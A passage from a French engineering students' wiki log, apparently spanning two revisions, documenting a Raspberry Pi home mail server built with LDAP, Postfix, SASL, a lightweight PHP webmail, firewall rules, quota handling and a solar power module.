Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25946</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25946"/>
				<updated>2016-02-02T12:22:54Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 16 (18/01/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
